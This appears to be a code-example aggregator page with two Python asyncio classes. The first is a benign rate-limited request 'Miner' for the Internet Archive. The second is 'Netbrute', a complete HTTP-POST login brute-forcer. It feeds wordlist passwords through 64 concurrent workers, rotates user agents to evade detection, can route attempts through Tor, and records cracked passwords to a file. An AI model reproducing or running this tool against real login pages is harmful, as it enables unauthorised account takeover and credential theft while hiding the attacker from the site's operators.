Ejemplo n.º 1
0
Archivo: core.py Proyecto: pl77/iamine
class Miner(object):

    def __init__(self,
                 loop=None,
                 max_tasks=None,
                 retries=None,
                 secure=None,
                 hosts=None,
                 params=None,
                 config=None,
                 config_file=None,
                 access=None,
                 secret=None,
                 debug=None):

        # Set default values for kwargs.
        loop = asyncio.get_event_loop() if not loop else loop
        max_tasks = 100 if not max_tasks else max_tasks
        max_retries = 10 if not retries else retries
        protocol = 'http://' if not secure else 'https://'
        config = get_config(config, config_file)
        access = config.get('s3', {}).get('access', access)
        secret = config.get('s3', {}).get('secret', secret)
        debug = True if debug else False

        self.max_tasks = max_tasks
        self.max_retries = max_retries
        self.protocol = protocol
        self.hosts = hosts
        self.config = config
        self.access = access
        self.debug = debug
        self.cookies = config.get('cookies', {})

        # Asyncio/Aiohttp settings.
        self.connector = aiohttp.TCPConnector(share_cookies=True, loop=loop)
        self.connector.update_cookies(self.cookies)
        self.loop = loop
        self.q = Queue(1000, loop=self.loop)
        self.q = Queue(loop=self.loop)

        # Require valid access key!
        self.assert_s3_keys_valid(access, secret)

        # Rate limiting.
        self._max_per_second = self.get_global_rate_limit()
        self._min_interval = 1.0 / float(self._max_per_second)
        self._last_time_called = 0.0

    def close(self):
        self.connector.close()
        self.loop.stop()
        self.loop.close()

    def assert_s3_keys_valid(self, access, secret):
        url = '{}s3.us.archive.org?check_auth=1'.format(self.protocol)
        r = urllib.request.Request(url)
        r.add_header('Authorization', 'LOW {0}:{1}'.format(access, secret))
        f = urllib.request.urlopen(r)
        j = json.loads(f.read().decode('utf-8'))
        if j.get('authorized') is not True:
            raise AuthenticationError(j.get('error'))

    def get_global_rate_limit(self):
        """Get the global rate limit per client.

        :rtype: int
        :returns: The global rate limit for each client.
        """
        r = urllib.request.urlopen('https://archive.org/metadata/iamine-rate-limiter')
        j = json.loads(r.read().decode('utf-8'))
        return int(j.get('metadata', {}).get('rate_per_second', 300))

    def _rate_limited():
        """A rate limit decorator for limiting the number of times the
        decorated :class:`Miner` method can be called. Limits are set in
        :attr:`Miner._max_per_second`.
        """
        def decorate(func):
            def rate_limited_func(self, *args, **kwargs):
                elapsed = time.monotonic() - self._last_time_called
                self.left_to_wait = self._min_interval - elapsed
                if self.left_to_wait > 0:
                    time.sleep(self.left_to_wait)
                func(self, *args, **kwargs)
                self._last_time_called = time.monotonic()
                yield from func(self, *args, **kwargs)
            return rate_limited_func
        return decorate

    @_rate_limited()
    def make_rate_limited_request(self, request):
        yield from request.make_request()

    @asyncio.coroutine
    def work(self):
        while True:
            request = yield from self.q.get()
            yield from self.make_rate_limited_request(request)
            self.q.task_done()

    @asyncio.coroutine
    def q_requests(self, requests):
        for req in requests:
            self.q.put_nowait(req)

    @asyncio.coroutine
    def mine(self, requests):
        workers = [asyncio.Task(self.work(), loop=self.loop)
                   for _ in range(self.max_tasks)]
        yield from self.q_requests(requests)

        yield from self.q.join()
        yield from asyncio.sleep(1)
        while not self.q.empty():
            yield from asyncio.sleep(1)

        for w in workers:
            w.cancel()
        yield from asyncio.sleep(.5)
Ejemplo n.º 2
0
class Netbrute:
    """
    HTTP-POST BruteForcer
    """
    def __init__(self, loop, pre_url=None, pre_payload=None, target_url=None, login=None, payload_model=None, wordlist=None, error_string=None, tasks=64, tor=None, tor_address=None, debug=None):
        self.max_tasks = tasks
        self.queue = Queue()
        self.pre_url = pre_url
        self.pre_payload = self._generate_payload_type(pre_payload)
        self.attack_url = target_url
        self.login = login
        self.error_string = [x.strip() for x in error_string.split(',')]
        self.payload = self._generate_payload_type(payload_model)
        self.wordlist = wordlist
        self.found = Event()
        self.tor_use = tor
        #self.session = self._generate_new_session(loop)
        self.debug = debug
        self.runned_passwords = set()
        self.old_passwds = set()
        self.restore_files = []
        self.progress_bar = None
        self.ua = self._prepare_user_agents()
        self.start_time = time.time()
        self.last_report_time = time.time()

        # Statuses set of settings
        self.loaded_passwords = 0
        self.tried_passwords = 0
        self.error_passwords = 0
        self.max_passwords = 0

        # Tor set of settings
        if self.tor_use is not None and tor_address is not None:
            ip, port = parse_proxy_address(tor_address)
            self.tor_address = "http://{0}:{1}".format(ip, port)
            self.tor_address_string = tor_address

        # Session set of settings
        self.session_name = self._generate_session_name()
        restore_files = self._search_open_sesssion()
        if restore_files > 0:
            for file in self.restore_files:
                if self._load_old_session(file) is True:
                    break
        else:
            pass

    @staticmethod
    def _prepare_user_agents():
        #  Load user agents
        ua = get_user_agents()
        if not ua:
            raise Exception("No user agents available")
        return ua

    def _load_old_session(self, fn):
        """
        Function to ask user input and decide to use or not to use restore files.
        This also decompress (if it can) and reads data, storing it inside the main object.
        :param fn: String => Filename
        :return: Boolean
        """

        question = input("\n[*] Do you want to load passwords from file '{0}'? [y/N] ".format(os.path.basename(fn)))

        if question.upper() == "Y":
            try:
                #  Decompress the data and store it raw
                with gzip.open(fn, "rb", compresslevel=9) as f:
                    _data = f.read()
                with open(fn, "wb") as f:
                    f.write(_data)
            except:
                #  If decompression fails, probably it is not compressed.
                #  So we will open it and read, as it should.
                with open(fn, "rb") as f:
                    _data = f.read()

            #  Read data from file, decode it from BinaryBuffer to String.
            lines = [x.decode() for x in _data.split(b"\n")]

            #  Finally, add each line to old_passwords set.
            for line in lines:
                if line != "":
                    self.old_passwds.add(line)

            #  Define the session name as the restore file used.
            self.session_name = os.path.basename(fn)
            return True
        else:
            return False

    def _search_open_sesssion(self):
        current_dir = os.getcwd() + os.sep
        for root, dirc, files in os.walk(current_dir):
            for f in files:
                if f.endswith(".restore"):
                    file_path = os.path.join(root, f)
                    self.restore_files.append(file_path)
        return len(self.restore_files)

    @staticmethod
    def _generate_session_name():
        _id = hex(random.randint(0, 999999))
        return "session_{0}.restore".format(_id[2:])

    @staticmethod
    def _generate_payload_type(user_input):
        """
        Function responsible for transforming String type into Dictionary type
        :param user_input: str
        :return: d: dict
        """
        d = dict()
        p = [x.strip() for x in user_input.split(",")]
        for element in p:
            key, value = element.split(":")
            d[key] = value
        return d

    @staticmethod
    def _encode_payload_www(unencoded_payload):
        """
        Function responsible for transforming a dictionary payload into x-www-form-urlencoded payload
        :param unencoded_payload:
        :return:
        """
        pl = str()
        dict_len = len(unencoded_payload)
        i = 1
        for key in unencoded_payload:
            if i != dict_len:
                pl += "{0}={1}&".format(key, unencoded_payload[key])
            else:
                pl += "{0}={1}".format(key, unencoded_payload[key])
            i += 1
        return pl

    def _adjust_payload(self, payload, password=None, login=None):
        """
        Creates a copy from payload supplied by user, then formats it with attack data.
        :param password: String
        :return: tmp_payload: String
        """
        tmp_payload = copy(payload)
        for key in tmp_payload:
            value = tmp_payload[key]
            if value.upper() == "PASS":
                #  Modify the payload prototype with the queue's password.
                if password is not None:
                    tmp_payload[key] = password

            elif value.upper() == "LOGIN":
                #  Modify the payload prototype with the supplied login
                if login is not None:
                    tmp_payload[key] = login
            else:
                continue
        return tmp_payload

    @staticmethod
    def _store_data(fn, data):
        """
        Stores buffer of data into a file and adds a new line at the end of it.
        :param fn: String => Filename for a file
        :param data: String => Data buffer
        :return: None
        """
        data += "\n"
        with open(fn, "a") as f:
            f.write(data)
        return

    def _increment_progress_bar(self):
        """
        Check if one second has passed since last report, then renewal the progress bar with current attack progress
        :return: None
        """
        if (time.time() - self.last_report_time) < 1:
            return
        self.last_report_time = time.time()
        self.progress_bar.update((self.max_passwords - self.loaded_passwords) + self.tried_passwords)

    def _parse_response(self, status, response_url, passwd):
        """
        Parses the response packet based on http status code and response URL
        :param status: Integer => HTTP status code
        :param response_url: String => Request URL response
        :param passwd: String => Password that originated this response
        :return: None
        """
        for error_string in self.error_string:
            if type(response_url is yarl.URL):
                response_url = response_url.query_string
            if error_string in response_url:
                self.tried_passwords += 1
                self.runned_passwords.add(passwd)
                if len(self.runned_passwords) % 100 == 0:
                    [self._store_data(self.session_name, x) for x in self.runned_passwords]
                    self.runned_passwords.clear()
                return
        if status == 200:
            print("\n[+] Password was found: {0}".format(passwd))
            print("[*] Response URL: {0}".format(response_url))
            self._store_data("correct.pass", passwd)
            self._store_data("correct.pass", "{0}\n\n".format(self.payload))
            self.found.set()
        return


    async def pre_page_request(self, session):
        #  Use tor or not
        if self.tor_use is True:
            proxy_addr = self.tor_address
        else:
            proxy_addr = None

        #  We will always create new headers for you, dear sysadmin...
        headers = {
            "content-type": "application/x-www-form-urlencoded",
            "User-Agent": random.choice(self.ua),
        }

        #  Generate the payload
        custom_payload = self._adjust_payload(self.pre_payload, login=self.login)

        # Do the first request.
        async with session.post(self.pre_url, data=self._encode_payload_www(custom_payload), headers=headers, proxy=proxy_addr) as response:
            status, response_url = response.status, response.url
            if status == 200:
                return 0, headers
            else:
                return 1, headers


    async def attack_this(self, session, password, headers=None):
        """
        Perform IO operation for http request
        :param password: String => Password used in the attack
        :return: None
        """
        if self.debug:
            print("Started attack!")

        #  We need a header if not previously;
        if headers is None:
            headers = {
                "content-type": "application/x-www-form-urlencoded",
                "User-Agent": random.choice(self.ua),
            }

        custom_payload = self._adjust_payload(self.payload, password=password)

        # AsyncTimeout removed since commit c47781f
        #  with async_timeout.timeout(10):
        if self.tor_use is True:
            proxy_addr = self.tor_address
        else:
            proxy_addr = None
        async with session.post(self.attack_url, data=self._encode_payload_www(custom_payload), headers=headers, proxy=proxy_addr) as response:

            status, response_url = response.status, response.url

            self._parse_response(status, response_url, password)

            if self.debug is False:
                self._increment_progress_bar()

            if self.debug:
                print("Ended attack! [{0}] - Status: {1} - URL: {2}".format(password, status, response_url))
        return

    def _parse_wordlist(self, iterable):
        return list(filter(lambda x: x not in self.old_passwds, iterable))

    def _read_wordlist(self):
        tmp_list = []
        with open(self.wordlist, "r") as f:
            for line in f.readlines():
                tmp_list.append(line.replace("\n", ""))
        parsed_list = self._parse_wordlist(tmp_list)
        for element in parsed_list:
            self.queue.put_nowait(element)
        self.max_passwords = len(tmp_list)
        self.loaded_passwords = len(parsed_list)
        return len(parsed_list)


    def _generate_new_session(self, loop):
        #  Create cookie jar
        jar = aiohttp.CookieJar(unsafe=True)

        #  Adjust session object and tor usage information
        if self.tor_use is True:
            #print("[+] Using tor with address {0}\n".format(self.tor_address_string))
            conn = get_tor_connector(self.tor_address_string)
            session = aiohttp.ClientSession(loop=loop, cookie_jar=jar, connector=conn)
        else:
            session = aiohttp.ClientSession(loop=loop, cookie_jar=jar)
        return session

    @asyncio.coroutine
    def work(self, loop):
        while not self.queue.empty():
            #  Create new aiohttp session
            session = self._generate_new_session(loop)
            # Check if password is found and throw queue away
            if self.found.is_set():
                # noinspection PyProtectedMember
                for _ in range(len(self.queue._queue)):
                    yield from self.queue.get()

            #  Retrieve passwords from queue and test them
            password = yield from self.queue.get()

            # Do the request and deal with timeout
            try:
                k, headers = yield from self.pre_page_request(session)
                if k == 0:
                    yield from self.attack_this(session, password, headers=headers)
            except Exception as e:
                if self.debug:
                    print("Password '{0}' request timed out.".format(password))
                    print("Error: {0}\n".format(e))
                self.queue.put_nowait(password)
                pass
            session.close()
            self.queue.task_done()

    @asyncio.coroutine
    def initiate(self, loop):

        #  Attack preparation phase
        if self.debug:
            print("Started initiation!")
        pass_number = self._read_wordlist()
        print("\n[*] Program have read {0} passwords.\n".format(pass_number))

        #  Graphical visualization of attack status
        self.progress_bar = ProgressBar(widgets=
                                        ["Guesses: ", Counter(), "/", str(self.max_passwords),
                                         " [", Percentage(), "] ", Bar(marker="#"), " ", AdaptiveETA()],
                                        maxval=self.max_passwords).start()
        self.progress_bar.update(self.max_passwords - pass_number)

        #  Now the code to run the tasks and execute the async requests
        workers = [asyncio.Task(self.work(loop)) for _ in range(self.max_tasks)]
        yield from self.queue.join()
        for w in workers:
            w.cancel()
        if self.debug:
            print("Ended initiation!")